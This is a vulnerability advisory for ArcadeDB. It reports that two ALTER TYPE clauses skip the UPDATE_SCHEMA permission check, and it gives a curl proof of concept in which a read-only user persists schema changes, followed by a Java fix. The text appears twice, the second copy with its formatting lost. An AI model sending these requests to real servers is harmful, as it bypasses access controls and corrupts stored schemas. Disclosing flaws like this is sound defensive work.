Summary
Two type-level schema mutators reachable from SQL, ALTER TYPE <t> CUSTOM <key> = <value> and ALTER TYPE <t> BUCKETSELECTIONSTRATEGY <impl>, do not enforce the UPDATE_SCHEMA database permission. An authenticated identity that lacks updateSchema (for example a read-only API token, or any user whose group grants only readRecord) can therefore mutate the persisted schema of a type on any database it can reach. This is a sibling gap left open by the UPDATE_SCHEMA hardening that was supposed to cover every public schema mutator: the two LocalDocumentType setters below were missed while their siblings (createProperty, dropProperty, rename, addBucket, setAliases, addSuperType, and the property-level LocalProperty.setCustomValue) all received the guard.
Impact
The database permission model documents updateSchema as the right that gates schema mutation, and it is enforced on the sibling DDL operations. The two operations here bypass that gate:
ALTER TYPE <t> CUSTOM <key> = <value> writes into the type's custom metadata map and persists it into the schema configuration. A low-privileged principal can add, overwrite, or delete arbitrary custom metadata keys on any type. Application logic and tooling that reads type custom properties can be steered or corrupted by a user who was only granted read access.
ALTER TYPE <t> BUCKETSELECTIONSTRATEGY <impl> replaces the bucket-selection strategy of a type. A low-privileged principal can change how records of a type are routed across buckets (for example switching between round-robin, thread, and partitioned). On a populated type this desynchronizes the partition mapping and undermines a schema-level integrity invariant that the operator did not authorize the caller to touch.
Neither operation requires any special role beyond an authenticated database connection with read access. The effect persists in the on-disk schema. This does not directly disclose or write record data, but it breaks the documented permission boundary (updateSchema-gated schema mutation) and can corrupt the meaning and routing of stored records.
The relevant DATABASE_ACCESS value that should gate both operations is UPDATE_SCHEMA, consistent with every other ALTER TYPE sub-operation.
Affected component
Engine schema layer:
engine/src/main/java/com/arcadedb/schema/LocalDocumentType.java
setCustomValue(String key, Object value) (the type-level custom-metadata setter) calls recordFileChanges(...) directly with no checkForSchemaMutation() / checkPermissionsOnDatabase(UPDATE_SCHEMA) guard.
setBucketSelectionStrategy(BucketSelectionStrategy) (and the String overload that delegates to it) mutates the strategy field with no guard.
Reachable over the HTTP command endpoint POST /api/v1/command/{database} via the SQL statement com.arcadedb.query.sql.parser.AlterTypeStatement (executeDDL calls type.setCustomValue(...) for the CUSTOM clause and type.setBucketSelectionStrategy(...) for the BUCKETSELECTIONSTRATEGY clause). The same statement's NAME, BUCKET, SUPERTYPE, and ALIASES sub-operations are correctly gated, which makes the asymmetry clear.
The HTTP request binds the authenticated user into DatabaseContext (DatabaseAbstractHandler.setCurrentUser), so checkPermissionsOnDatabase(UPDATE_SCHEMA) would correctly deny an under-privileged caller if it were called. It is a no-op only in embedded mode and in system contexts with no bound user (schema load at startup, HA replication apply), so adding the guard does not affect internal paths or administrators.
Affected versions
All released versions up to and including 26.7.1 (the current release), and current main. The general UPDATE_SCHEMA hardening that reached the sibling mutators did not extend to these two type-level setters, so upgrading past that hardening does not close this gap.
Proof of concept
Environment: official arcadedata/arcadedb Docker image (build reported by the server as 26.8.1-SNAPSHOT, which already contains the general schema-mutator hardening, proven by the negative controls below being denied). HTTP endpoint on port 2480.
Setup, as the root administrator:
# 1. create a database
curl -s -u root:RootPass123! -H 'Content-Type: application/json' \
-X POST http://localhost:2480/api/v1/server \
-d '{"command":"create database db1"}'
# -> {"result":"ok"}
# 2. create a type
curl -s -u root:RootPass123! -H 'Content-Type: application/json' \
-X POST http://localhost:2480/api/v1/command/db1 \
-d '{"command":"CREATE DOCUMENT TYPE Ledger","language":"sql"}'
# 3. create a low-privileged user in the built-in read-only group on db1
# (readonly group: database access=[], type access=[readRecord]; NO updateSchema)
curl -s -u root:RootPass123! -H 'Content-Type: application/json' \
-X POST http://localhost:2480/api/v1/server \
-d '{"command":"create user {\"name\":\"lowpriv\",\"password\":\"LowPass123!\",\"databases\":{\"db1\":[\"readonly\"]}}"}'
# -> {"result":"ok"}
Negative controls, as lowpriv (proving the principal genuinely lacks updateSchema and the framework enforces it on the guarded siblings):
# NEG-1: guarded sibling CREATE PROPERTY -> DENIED
curl -s -u lowpriv:LowPass123! -H 'Content-Type: application/json' \
-X POST http://localhost:2480/api/v1/command/db1 \
-d '{"command":"CREATE PROPERTY Ledger.amount LONG","language":"sql"}'
# -> {"error":"Security error","detail":"User 'lowpriv' is not allowed to update schema","exception":"java.lang.SecurityException"}
# NEG-2: guarded sibling ALTER TYPE ... NAME (rename) -> DENIED
curl -s -u lowpriv:LowPass123! -H 'Content-Type: application/json' \
-X POST http://localhost:2480/api/v1/command/db1 \
-d '{"command":"ALTER TYPE Ledger NAME LedgerX","language":"sql"}'
# -> {"error":"Security error","detail":"User 'lowpriv' is not allowed to update schema","exception":"java.lang.SecurityException"}
Positive read (confirming lowpriv is a valid, functioning low-privileged principal):
curl -s -u lowpriv:LowPass123! -H 'Content-Type: application/json' \
-X POST http://localhost:2480/api/v1/command/db1 \
-d '{"command":"SELECT FROM schema:types WHERE name = '\''Ledger'\''","language":"sql"}'
# -> {"user":"lowpriv","result":[{"name":"Ledger","type":"document","records":0,"buckets":["Ledger_0"],"bucketSelectionStrate...
Exploit, as lowpriv (both schema mutations succeed despite the missing updateSchema right):
# EXPLOIT A: unauthorized type-level CUSTOM metadata write
curl -s -u lowpriv:LowPass123! -H 'Content-Type: application/json' \
-X POST http://localhost:2480/api/v1/command/db1 \
-d '{"command":"ALTER TYPE Ledger CUSTOM description = '\''unauthorized-schema-write'\''","language":"sql"}'
# -> {"user":"lowpriv","result":[{"custom":"description=unauthorized-schema-write","operation":"ALTER TYPE","typeName":"Ledger","result":"OK"}]}
# EXPLOIT B: unauthorized bucket-selection-strategy change
curl -s -u lowpriv:LowPass123! -H 'Content-Type: application/json' \
-X POST http://localhost:2480/api/v1/command/db1 \
-d '{"command":"ALTER TYPE Ledger BUCKETSELECTIONSTRATEGY `round-robin`","language":"sql"}'
# -> {"user":"lowpriv","result":[{"bucketSelectionStrategy":"round-robin","operation":"ALTER TYPE","typeName":"Ledger","result":"OK"}]}
Out-of-band read-back, as root (ground truth that the low-privileged caller's mutations persisted into the schema):
curl -s -u root:RootPass123! -H 'Content-Type: application/json' \
-X POST http://localhost:2480/api/v1/command/db1 \
-d '{"command":"SELECT name, custom, bucketSelectionStrategy FROM schema:types WHERE name = '\''Ledger'\''","language":"sql"}'
# -> {"user":"root","result":[{"name":"Ledger","custom":{"description":"unauthorized-schema-write"},"bucketSelectionStrategy":"round-robin","@props":"custom:10"}]}
The readonly user, denied on every guarded ALTER TYPE/CREATE PROPERTY sibling, successfully performed and persisted two schema mutations through the two unguarded ALTER TYPE clauses.
Suggested fix
Add the existing checkForSchemaMutation() guard (which enforces checkPermissionsOnDatabase(UPDATE_SCHEMA)) to the two missed setters in LocalDocumentType, exactly as the sibling mutators do:
public Object setCustomValue(final String key, final Object value) {
+ checkForSchemaMutation();
return recordFileChanges(() -> {
if (value == null)
return custom.remove(key);
return custom.put(key, value);
});
}
public DocumentType setBucketSelectionStrategy(final BucketSelectionStrategy selectionStrategy) {
+ checkForSchemaMutation();
final BucketSelectionStrategy previous = this.bucketSelectionStrategy;
this.bucketSelectionStrategy = selectionStrategy;
checkForSchemaMutation() is a no-op when there is no bound user (embedded mode, schema load at startup, HA replication apply), so administrators and internal paths are unaffected; only authenticated command/query callers without updateSchema are rejected. The String overload of setBucketSelectionStrategy delegates to the typed overload, so a single guard covers both entry points.
Credit
tonghuaroot
Summary
Two type-level schema mutators reachable from SQL,
ALTER TYPE <t> CUSTOM <key> = <value>andALTER TYPE <t> BUCKETSELECTIONSTRATEGY <impl>, do not enforce theUPDATE_SCHEMAdatabase permission. An authenticated identity that lacksupdateSchema(for example a read-only API token, or any user whose group grants onlyreadRecord) can therefore mutate the persisted schema of a type on any database it can reach. This is a sibling gap left open by theUPDATE_SCHEMAhardening that was supposed to cover every public schema mutator: the twoLocalDocumentTypesetters below were missed while their siblings (createProperty,dropProperty,rename,addBucket,setAliases,addSuperType, and the property-levelLocalProperty.setCustomValue) all received the guard.Impact
The database permission model documents
updateSchemaas the right that gates schema mutation, and it is enforced on the sibling DDL operations. The two operations here bypass that gate:ALTER TYPE <t> CUSTOM <key> = <value>writes into the type'scustommetadata map and persists it into the schema configuration. A low-privileged principal can add, overwrite, or delete arbitrary custom metadata keys on any type. Application logic and tooling that reads type custom properties can be steered or corrupted by a user who was only granted read access.ALTER TYPE <t> BUCKETSELECTIONSTRATEGY <impl>replaces the bucket-selection strategy of a type. A low-privileged principal can change how records of a type are routed across buckets (for example switching betweenround-robin,thread, andpartitioned). On a populated type this desynchronizes the partition mapping and undermines a schema-level integrity invariant that the operator did not authorize the caller to touch.Neither operation requires any special role beyond an authenticated database connection with read access. The effect persists in the on-disk schema. This does not directly disclose or write record data, but it breaks the documented permission boundary (
updateSchema-gated schema mutation) and can corrupt the meaning and routing of stored records.The relevant
DATABASE_ACCESSvalue that should gate both operations isUPDATE_SCHEMA, consistent with every otherALTER TYPEsub-operation.Affected component
Engine schema layer:
engine/src/main/java/com/arcadedb/schema/LocalDocumentType.javasetCustomValue(String key, Object value)(the type-level custom-metadata setter) callsrecordFileChanges(...)directly with nocheckForSchemaMutation()/checkPermissionsOnDatabase(UPDATE_SCHEMA)guard.setBucketSelectionStrategy(BucketSelectionStrategy)(and theStringoverload that delegates to it) mutates the strategy field with no guard.Reachable over the HTTP command endpoint
POST /api/v1/command/{database}via the SQL statementcom.arcadedb.query.sql.parser.AlterTypeStatement(executeDDLcallstype.setCustomValue(...)for theCUSTOMclause andtype.setBucketSelectionStrategy(...)for theBUCKETSELECTIONSTRATEGYclause). The same statement'sNAME,BUCKET,SUPERTYPE, andALIASESsub-operations are correctly gated, which makes the asymmetry clear.The HTTP request binds the authenticated user into
DatabaseContext(DatabaseAbstractHandler.setCurrentUser), socheckPermissionsOnDatabase(UPDATE_SCHEMA)would correctly deny an under-privileged caller if it were called. It is a no-op only in embedded mode and in system contexts with no bound user (schema load at startup, HA replication apply), so adding the guard does not affect internal paths or administrators.Affected versions
All released versions up to and including 26.7.1 (the current release), and current
main. The generalUPDATE_SCHEMAhardening that reached the sibling mutators did not extend to these two type-level setters, so upgrading past that hardening does not close this gap.Proof of concept
Environment: official
arcadedata/arcadedbDocker image (build reported by the server as26.8.1-SNAPSHOT, which already contains the general schema-mutator hardening, proven by the negative controls below being denied). HTTP endpoint on port 2480.Setup, as the
rootadministrator:Negative controls, as
lowpriv(proving the principal genuinely lacksupdateSchemaand the framework enforces it on the guarded siblings):Positive read (confirming
lowprivis a valid, functioning low-privileged principal):Exploit, as
lowpriv(both schema mutations succeed despite the missingupdateSchemaright):Out-of-band read-back, as
root(ground truth that the low-privileged caller's mutations persisted into the schema):The
readonlyuser, denied on every guardedALTER TYPE/CREATE PROPERTYsibling, successfully performed and persisted two schema mutations through the two unguardedALTER TYPEclauses.Suggested fix
Add the existing
checkForSchemaMutation()guard (which enforcescheckPermissionsOnDatabase(UPDATE_SCHEMA)) to the two missed setters inLocalDocumentType, exactly as the sibling mutators do:public Object setCustomValue(final String key, final Object value) { + checkForSchemaMutation(); return recordFileChanges(() -> { if (value == null) return custom.remove(key); return custom.put(key, value); }); }public DocumentType setBucketSelectionStrategy(final BucketSelectionStrategy selectionStrategy) { + checkForSchemaMutation(); final BucketSelectionStrategy previous = this.bucketSelectionStrategy; this.bucketSelectionStrategy = selectionStrategy;checkForSchemaMutation()is a no-op when there is no bound user (embedded mode, schema load at startup, HA replication apply), so administrators and internal paths are unaffected; only authenticated command/query callers withoutupdateSchemaare rejected. TheStringoverload ofsetBucketSelectionStrategydelegates to the typed overload, so a single guard covers both entry points.Credit
tonghuaroot